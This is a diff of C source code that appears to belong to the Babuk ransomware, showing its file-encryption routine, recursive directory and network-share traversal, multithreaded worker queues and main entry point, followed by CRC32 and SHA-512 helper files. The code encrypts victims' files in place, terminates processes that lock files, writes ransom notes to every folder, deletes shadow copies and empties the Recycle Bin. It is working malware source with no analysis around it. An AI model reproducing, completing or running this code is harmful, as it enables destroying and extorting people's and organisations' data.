for (LONGLONG i = 0; i < fileChunks.QuadPart; i++) {
|
||||
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwWrite, 0);
|
||||
|
||||
fileOffset.QuadPart += 0xA00000i64;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else if (fileSize.QuadPart > CONST_MEDIUM_FILE) {
|
||||
LONGLONG jump = fileSize.QuadPart / 3;
|
||||
|
||||
for (LONGLONG i = 0; i < 3; i++) {
|
||||
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
||||
|
||||
fileOffset.QuadPart += jump;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else if (fileSize.QuadPart > 0) {
|
||||
LONGLONG block_size = fileSize.QuadPart > 64 ? fileSize.QuadPart / 10 : fileSize.QuadPart;
|
||||
|
||||
ReadFile(hFile, ioBuffer, block_size, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
||||
}
|
||||
|
||||
_memset((BYTE*)&ctx, 0, sizeof(ECRYPT_ctx));
|
||||
|
||||
fileOffset.QuadPart = 0;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_END);
|
||||
WriteFile(hFile, (BYTE*)&babuk_meta, sizeof(BABUK_FILEMETA), &dwWrite, 0);
|
||||
|
||||
_hfree(ioBuffer);
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
else if (tryToUnlock) {
|
||||
DWORD dwError = 0;
|
||||
|
||||
DWORD dwSession;
|
||||
WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1];
|
||||
_memset(szSessionKey, 0, sizeof(szSessionKey));
|
||||
|
||||
if (dwError = RmStartSession(&dwSession, 0, szSessionKey) == ERROR_SUCCESS) {
|
||||
if (dwError = RmRegisterResources(dwSession, 1, (LPCWSTR*)&filePath, 0, NULL, 0, NULL) == ERROR_SUCCESS) {
|
||||
DWORD dwReason;
|
||||
UINT nProcInfoNeeded;
|
||||
UINT nProcInfo = 10;
|
||||
RM_PROCESS_INFO rgpi[10];
|
||||
if (dwError = RmGetList(dwSession, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason) == ERROR_SUCCESS) {
|
||||
for (UINT i = 0; i < nProcInfo; i++) {
|
||||
if (rgpi[i].ApplicationType != RmExplorer && rgpi[i].ApplicationType != RmCritical && GetCurrentProcessId() != rgpi[i].Process.dwProcessId) {
|
||||
HANDLE hProcess = OpenProcess(SYNCHRONIZE | PROCESS_TERMINATE, 0, rgpi[i].Process.dwProcessId);
|
||||
if (hProcess != INVALID_HANDLE_VALUE) {
|
||||
TerminateProcess(hProcess, 0);
|
||||
WaitForSingleObject(hProcess, 5000);
|
||||
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, rgpi[i].strAppName, (int)lstrlenW(rgpi[i].strAppName), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, rgpi[i].strAppName, (int)lstrlenW(rgpi[i].strAppName), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't OpenProcess", strTo, GetLastError());
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't RmGetList", strTo, dwError);
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't RmRegisterResources", strTo, dwError);
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
RmEndSession(dwSession);
|
||||
|
||||
tryToUnlock = FALSE;
|
||||
goto retry;
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't RmStartSession", strTo, dwError);
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't open file after killHolder", strTo, GetLastError());
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, filePath, (int)lstrlenW(filePath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't MoveFileExW", strTo, GetLastError());
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void find_files_recursive(LPCWSTR dirPath)
|
||||
{
|
||||
DWORD dwO;
|
||||
if (WCHAR* localDir = (WCHAR*)_halloc(32768 * sizeof(WCHAR)))
|
||||
{
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\" NOTE_FILE_NAME);
|
||||
|
||||
HANDLE hNoteFile = CreateFileW(localDir, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_NEW, 0, 0);
|
||||
if (hNoteFile != INVALID_HANDLE_VALUE) {
|
||||
WriteFile(hNoteFile, ransom_note, lstrlenA(ransom_note), &dwO, 0);
|
||||
CloseHandle(hNoteFile);
|
||||
}
|
||||
|
||||
WIN32_FIND_DATAW fd;
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\*");
|
||||
|
||||
HANDLE hIter = FindFirstFileW(localDir, &fd);
|
||||
if (hIter != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
for (DWORD i = 0; i < _countof(black); ++i) {
|
||||
if (!lstrcmpiW(fd.cFileName, black[i])) {
|
||||
goto skip;
|
||||
}
|
||||
}
|
||||
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\");
|
||||
lstrcatW(localDir, fd.cFileName);
|
||||
|
||||
if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && lstrcmpW(fd.cFileName, NOTE_FILE_NAME) != 0)
|
||||
{
|
||||
for (int i = lstrlenW(fd.cFileName) - 1; i >= 0; i--) {
|
||||
if (fd.cFileName[i] == L'.') {
|
||||
if (
|
||||
lstrcmpiW(fd.cFileName + i, L".exe") == 0
|
||||
||
|
||||
lstrcmpiW(fd.cFileName + i, L".dll") == 0
|
||||
||
|
||||
lstrcmpiW(fd.cFileName + i, L".babyk") == 0
|
||||
) {
|
||||
goto skip;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
}
|
||||
|
||||
while (_que_push(&que_f, localDir, FALSE) == 0) {
|
||||
INT iError = 0;
|
||||
while (WCHAR* path = _que_pop(&que_f, FALSE, &iError)) {
|
||||
_encrypt_file(path);
|
||||
_hfree(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
skip:;
|
||||
} while (FindNextFileW(hIter, &fd));
|
||||
FindClose(hIter);
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, dirPath, (int)lstrlenW(dirPath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, dirPath, (int)lstrlenW(dirPath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't FindFirstFileW", strTo, GetLastError());
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
_hfree(localDir);
|
||||
}
|
||||
}
|
||||
|
||||
void find_paths_recursive(LPWSTR dirPath)
|
||||
{
|
||||
INT iError;
|
||||
WCHAR* f_path;
|
||||
while (_que_push(&que_p, dirPath, FALSE) == 0) {
|
||||
while ((f_path = _que_pop(&que_f, FALSE, &iError)) != 0) {
|
||||
_encrypt_file(f_path);
|
||||
_hfree(f_path);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD dwO;
|
||||
if (WCHAR* localDir = (WCHAR*)_halloc(32768 * sizeof(WCHAR)))
|
||||
{
|
||||
WIN32_FIND_DATAW fd;
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\*");
|
||||
|
||||
HANDLE hIter = FindFirstFileW(localDir, &fd);
|
||||
if (hIter != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
for (DWORD i = 0; i < _countof(black); ++i) {
|
||||
if (!lstrcmpiW(fd.cFileName, black[i])) {
|
||||
goto skip;
|
||||
}
|
||||
}
|
||||
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\");
|
||||
lstrcatW(localDir, fd.cFileName);
|
||||
find_paths_recursive(localDir);
|
||||
}
|
||||
skip:;
|
||||
} while (FindNextFileW(hIter, &fd));
|
||||
FindClose(hIter);
|
||||
}
|
||||
else if (debug_mode) {
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, dirPath, (int)lstrlenW(dirPath), NULL, 0, NULL, NULL);
|
||||
char* strTo = (char*)_halloc(size_needed);
|
||||
WideCharToMultiByte(CP_UTF8, 0, dirPath, (int)lstrlenW(dirPath), strTo, size_needed, NULL, NULL);
|
||||
|
||||
_dbg_report("Can't FindFirstFileW", strTo, GetLastError());
|
||||
|
||||
_hfree(strTo);
|
||||
}
|
||||
_hfree(localDir);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI lilBabuk(LPVOID lpData) {
|
||||
INT iError = 0;
|
||||
WCHAR* path = 0;
|
||||
if (lpData) {
|
||||
while (TRUE) {
|
||||
if ((path = _que_pop(&que_p, FALSE, &iError)) != 0) {
|
||||
find_files_recursive(path);
|
||||
_hfree(path);
|
||||
}
|
||||
else if (iError != QUEUE_ERR_TIMEOUT) break;
|
||||
|
||||
while ((path = _que_pop(&que_f, FALSE, &iError)) != 0) {
|
||||
_encrypt_file(path);
|
||||
_hfree(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
while ((path = _que_pop(&que_f, TRUE, &iError)) != 0) {
|
||||
_encrypt_file(path);
|
||||
_hfree(path);
|
||||
}
|
||||
}
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
void find_files_network(LPNETRESOURCEW netRes)
|
||||
{
|
||||
HANDLE hEnum;
|
||||
DWORD dwEntries = -1;
|
||||
DWORD cbBuffer = 1024 * 16;
|
||||
if (WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_ALL, netRes, &hEnum) == NO_ERROR)
|
||||
{
|
||||
if (netRes = (LPNETRESOURCEW)_halloc(cbBuffer))
|
||||
{
|
||||
while (WNetEnumResourceW(hEnum, &dwEntries, netRes, &cbBuffer) == NO_ERROR)
|
||||
{
|
||||
for (DWORD i = 0; i < dwEntries; ++i)
|
||||
{
|
||||
if ((netRes[i].dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER)
|
||||
find_files_network(&netRes[i]);
|
||||
else {
|
||||
find_paths_recursive(netRes[i].lpRemoteName);
|
||||
}
|
||||
}
|
||||
}
|
||||
_hfree(netRes);
|
||||
}
|
||||
WNetCloseEnum(hEnum);
|
||||
}
|
||||
}
|
||||
|
||||
void enum_shares(LPCWSTR addr) {
|
||||
PSHARE_INFO_1 BufPtr, p;
|
||||
DWORD er = 0, tr = 0, resume = 0, i, res;
|
||||
WCHAR unc[100];
|
||||
|
||||
do
|
||||
{
|
||||
res = NetShareEnum((LPWSTR)addr, 1, (LPBYTE*)&BufPtr, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
|
||||
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
|
||||
{
|
||||
p = BufPtr;
|
||||
for (i = 1; i <= er; i++)
|
||||
{
|
||||
if (p->shi1_type == STYPE_DISKTREE || p->shi1_type == STYPE_SPECIAL) {
|
||||
if (lstrlenW(p->shi1_netname) > 2 && lstrcmpW(p->shi1_netname, L"ADMIN$") != 0) {
|
||||
lstrcpyW(unc, L"\\\\");
|
||||
lstrcatW(unc, addr);
|
||||
lstrcatW(unc, L"\\");
|
||||
lstrcatW(unc, p->shi1_netname);
|
||||
find_paths_recursive(unc);
|
||||
}
|
||||
}
|
||||
p++;
|
||||
}
|
||||
NetApiBufferFree(BufPtr);
|
||||
}
|
||||
} while (res == ERROR_MORE_DATA);
|
||||
}
|
||||
|
||||
void _processDrive(WCHAR driveLetter) {
|
||||
if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR))) {
|
||||
lstrcpyW(driveBuffer, L"\\\\?\\");
|
||||
lstrcpyW(driveBuffer + 5, L":");
|
||||
driveBuffer[4] = driveLetter;
|
||||
|
||||
if (DWORD driveType = GetDriveTypeW(driveBuffer)) {
|
||||
if (driveType != DRIVE_CDROM) {
|
||||
if (driveType != DRIVE_REMOTE) {
|
||||
find_paths_recursive(driveBuffer);
|
||||
}
|
||||
else {
|
||||
DWORD remoteDrvSize = 260;
|
||||
if (WCHAR* remoteDrv = (WCHAR*)_halloc(remoteDrvSize * sizeof(WCHAR)))
|
||||
{
|
||||
if (WNetGetConnectionW(&driveBuffer[4], remoteDrv, &remoteDrvSize) == NO_ERROR) {
|
||||
find_paths_recursive(remoteDrv);
|
||||
}
|
||||
_hfree(remoteDrv);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_hfree(driveBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
void entry() {
|
||||
ECRYPT_init();
|
||||
_mem_initialize();
|
||||
|
||||
if (hProv = gen_context()) {
|
||||
int argc = 0;
|
||||
LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
|
||||
|
||||
SetProcessShutdownParameters(0, 0);
|
||||
|
||||
if (WCHAR* logFile = argz_value(argc, argv, L"debug")) {
|
||||
black[0] = logFile;
|
||||
|
||||
_dbg_initialize(logFile);
|
||||
debug_mode = 1;
|
||||
}
|
||||
|
||||
_stop_services();
|
||||
_stop_processes();
|
||||
_remove_shadows();
|
||||
|
||||
SHEmptyRecycleBinA(0, 0, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);
|
||||
|
||||
SYSTEM_INFO lcSysInfo;
|
||||
GetSystemInfo(&lcSysInfo);
|
||||
DWORD dwNumberOfProcessors = lcSysInfo.dwNumberOfProcessors;
|
||||
|
||||
DWORD dwNumberOfThreads = dwNumberOfProcessors * 4;
|
||||
DWORD dwNumberOfThreadsDivideBy2 = dwNumberOfThreads / 2;
|
||||
|
||||
_que_initialize(&que_f, dwNumberOfThreads * 6);
|
||||
_que_initialize(&que_p, dwNumberOfThreadsDivideBy2 * 3);
|
||||
|
||||
HANDLE* hP_Threads = (HANDLE*)_halloc(dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
|
||||
HANDLE* hF_Threads = (HANDLE*)_halloc(dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
|
||||
|
||||
if (hP_Threads && hF_Threads) {
|
||||
_memset((BYTE*)hP_Threads, 0, dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
|
||||
_memset((BYTE*)hF_Threads, 0, dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
|
||||
|
||||
for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
|
||||
hP_Threads[i] = CreateThread(0, 0, lilBabuk, (LPVOID)1, 0, 0);
|
||||
hF_Threads[i] = CreateThread(0, 0, lilBabuk, (LPVOID)0, 0, 0);
|
||||
}
|
||||
|
||||
WCHAR* shares = argz_value(argc, argv, L"shares");
|
||||
WCHAR* paths = argz_value(argc, argv, L"paths");
|
||||
|
||||
if (shares) {
|
||||
int count = 1;
|
||||
int len = lstrlenW(shares);
|
||||
for (int i = 0; i < len; i++) {
|
||||
if (shares[i] == L',') {
|
||||
shares[i] = L'\0';
|
||||
count++;
|
||||
}
|
||||
}
|
||||
do {
|
||||
WCHAR* share = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(shares) + 1));
|
||||
lstrcpyW(share, shares);
|
||||
enum_shares(share);
|
||||
_hfree(share);
|
||||
|
||||
shares += lstrlenW(shares) + 1;
|
||||
} while (--count);
|
||||
}
|
||||
|
||||
if (paths) {
|
||||
int count = 1;
|
||||
int len = lstrlenW(paths);
|
||||
for (int i = 0; i < len; i++) {
|
||||
if (paths[i] == L',') {
|
||||
paths[i] = L'\0';
|
||||
count++;
|
||||
}
|
||||
}
|
||||
do {
|
||||
WCHAR* path = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(paths) + 1));
|
||||
lstrcpyW(path, paths);
|
||||
|
||||
if (lstrlenW(path) == 2 && path[1] == L':') {
|
||||
_processDrive(path[0]);
|
||||
}
|
||||
else {
|
||||
find_paths_recursive(path);
|
||||
}
|
||||
|
||||
_hfree(path);
|
||||
paths += lstrlenW(paths) + 1;
|
||||
} while (--count);
|
||||
}
|
||||
|
||||
if (paths == 0 && shares == 0) {
|
||||
if (!OpenMutexA(MUTEX_ALL_ACCESS, 0, VERSION_MUTEX))
|
||||
CreateMutexA(0, 0, VERSION_MUTEX);
|
||||
else
|
||||
goto end;
|
||||
|
||||
LPNETRESOURCEW lpRes = 0;
|
||||
if (argz_option(argc, argv, L"sf") == 1) {
|
||||
find_files_network(lpRes);
|
||||
}
|
||||
|
||||
_load_hidden_partitions();
|
||||
if (DWORD dwDrives = GetLogicalDrives()) {
|
||||
for (WCHAR disk = L'A'; disk <= L'Z'; ++disk)
|
||||
{
|
||||
if (dwDrives & 1)
|
||||
{
|
||||
_processDrive(disk);
|
||||
}
|
||||
dwDrives >>= 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (argz_option(argc, argv, L"sf") == 0) {
|
||||
find_files_network(lpRes);
|
||||
}
|
||||
}
|
||||
|
||||
end:;
|
||||
for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
|
||||
_que_push(&que_p, 0, TRUE);
|
||||
}
|
||||
WaitForMultipleObjects(dwNumberOfThreadsDivideBy2, hP_Threads, TRUE, INFINITE);
|
||||
|
||||
for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
|
||||
_que_push(&que_f, 0, TRUE);
|
||||
}
|
||||
WaitForMultipleObjects(dwNumberOfThreadsDivideBy2, hF_Threads, TRUE, INFINITE);
|
||||
|
||||
_remove_shadows();
|
||||
for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
|
||||
CloseHandle(hP_Threads[i]);
|
||||
CloseHandle(hF_Threads[i]);
|
||||
}
|
||||
|
||||
_hfree(hP_Threads);
|
||||
_hfree(hF_Threads);
|
||||
}
|
||||
|
||||
if (debug_mode) {
|
||||
_dbg_uninitialize();
|
||||
}
|
||||
|
||||
CryptReleaseContext(hProv, 0);
|
||||
}
|
||||
|
||||
ExitProcess(0);
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
#include "crc32.h"
|
||||
|
||||
static const unsigned int crc32_table[] =
|
||||
{
|
||||
0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
|
||||
0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
|
||||
0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
|
||||
0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
|
||||
0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
|
||||
0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
|
||||
0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
|
||||
0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
|
||||
0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
|
||||
0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
|
||||
0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
|
||||
0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
|
||||
0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
|
||||
0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
|
||||
0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
|
||||
0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
|
||||
0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
|
||||
0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
|
||||
0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
|
||||
0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
|
||||
0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
|
||||
0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
|
||||
0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
|
||||
0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
|
||||
0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
|
||||
0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
|
||||
0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
|
||||
0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
|
||||
0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
|
||||
0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
|
||||
0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
|
||||
0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
|
||||
0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
|
||||
0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
|
||||
0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
|
||||
0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
|
||||
0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
|
||||
0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
|
||||
0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
|
||||
0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
|
||||
0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
|
||||
0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
|
||||
0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
|
||||
0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
|
||||
0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
|
||||
0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
|
||||
0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
|
||||
0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
|
||||
0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
|
||||
0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
|
||||
0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
|
||||
0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
|
||||
0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
|
||||
0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
|
||||
0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
|
||||
0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
|
||||
0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
|
||||
0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
|
||||
0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
|
||||
0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
|
||||
0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
|
||||
0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
|
||||
0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
|
||||
0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4
|
||||
};
|
||||
|
||||
unsigned int xcrc32(const unsigned char* buf, int len)
|
||||
{
|
||||
unsigned int crc = 0x676e6f64;
|
||||
while (len--)
|
||||
{
|
||||
crc = (crc << 8) ^ crc32_table[((crc >> 24) ^ *buf) & 255];
|
||||
buf++;
|
||||
}
|
||||
return crc;
|
||||
}
|
|
@ -0,0 +1,6 @@
|
|||
#ifndef CRC32_H_INCLUDED
|
||||
#define CRC32_H_INCLUDED
|
||||
|
||||
unsigned int xcrc32(const unsigned char* buf, int len);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,365 @@
|
|||
/*
|
||||
* SHA-512 algorithm as described at
|
||||
*
|
||||
* http://csrc.nist.gov/cryptval/shs.html
|
||||
*/
|
||||
#include <string.h>
|
||||
#include "../memory.h"
|
||||
#include "sha512.h"
|
||||
//#define TEST
|
||||
#define BLKSIZE 128
|
||||
|
||||
/*
|
||||
* Arithmetic implementations. Note that AND, XOR and NOT can
|
||||
* overlap destination with one source, but the others can't.
|
||||
*/
|
||||
#define add(r,x,y) ( r.lo = y.lo + x.lo, \
|
||||
r.hi = y.hi + x.hi + ((uint32)r.lo < (uint32)y.lo) )
|
||||
#define rorB(r,x,y) ( r.lo = ((uint32)x.hi >> ((y)-32)) | ((uint32)x.lo << (64-(y))), \
|
||||
r.hi = ((uint32)x.lo >> ((y)-32)) | ((uint32)x.hi << (64-(y))) )
|
||||
#define rorL(r,x,y) ( r.lo = ((uint32)x.lo >> (y)) | ((uint32)x.hi << (32-(y))), \
|
||||
r.hi = ((uint32)x.hi >> (y)) | ((uint32)x.lo << (32-(y))) )
|
||||
#define shrB(r,x,y) ( r.lo = (uint32)x.hi >> ((y)-32), r.hi = 0 )
|
||||
#define shrL(r,x,y) ( r.lo = ((uint32)x.lo >> (y)) | ((uint32)x.hi << (32-(y))), \
|
||||
r.hi = (uint32)x.hi >> (y) )
|
||||
#define and(r,x,y) ( r.lo = x.lo & y.lo, r.hi = x.hi & y.hi )
|
||||
#define xor(r,x,y) ( r.lo = x.lo ^ y.lo, r.hi = x.hi ^ y.hi )
|
||||
#define not(r,x) ( r.lo = ~x.lo, r.hi = ~x.hi )
|
||||
#define INIT(h,l) { h, l }
|
||||
#define BUILD(r,h,l) ( r.hi = h, r.lo = l )
|
||||
#define EXTRACT(h,l,r) ( h = r.hi, l = r.lo )
|
||||
|
||||
/* ----------------------------------------------------------------------
|
||||
* Core SHA512 algorithm: processes 16-doubleword blocks into a
|
||||
* message digest.
|
||||
*/
|
||||
|
||||
#define Ch(r,t,x,y,z) ( not(t,x), and(r,t,z), and(t,x,y), xor(r,r,t) )
|
||||
#define Maj(r,t,x,y,z) ( and(r,x,y), and(t,x,z), xor(r,r,t), \
|
||||
and(t,y,z), xor(r,r,t) )
|
||||
#define bigsigma0(r,t,x) ( rorL(r,x,28), rorB(t,x,34), xor(r,r,t), \
|
||||
rorB(t,x,39), xor(r,r,t) )
|
||||
#define bigsigma1(r,t,x) ( rorL(r,x,14), rorL(t,x,18), xor(r,r,t), \
|
||||
rorB(t,x,41), xor(r,r,t) )
|
||||
